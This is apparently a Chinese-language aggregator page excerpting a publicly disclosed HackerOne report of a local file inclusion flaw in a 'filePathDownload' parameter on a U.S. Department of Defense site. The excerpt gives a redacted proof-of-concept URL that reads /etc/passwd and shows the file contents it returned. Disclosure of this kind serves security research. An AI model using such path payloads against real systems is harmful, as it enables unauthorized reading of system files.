lfi in filePathDownload parameter via ███████
该报告还没有中文解读。
原文摘录
摘自原文（2130 字符中的一小部分）
hi i found critcal lfi vulnerability poc: https://█████████/████████=/etc/passwd response:
原文中的代码
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt …
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 U.S. Dept Of Defense 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @exploitmsf · 版权归作者与 U.S. Dept Of Defense 所有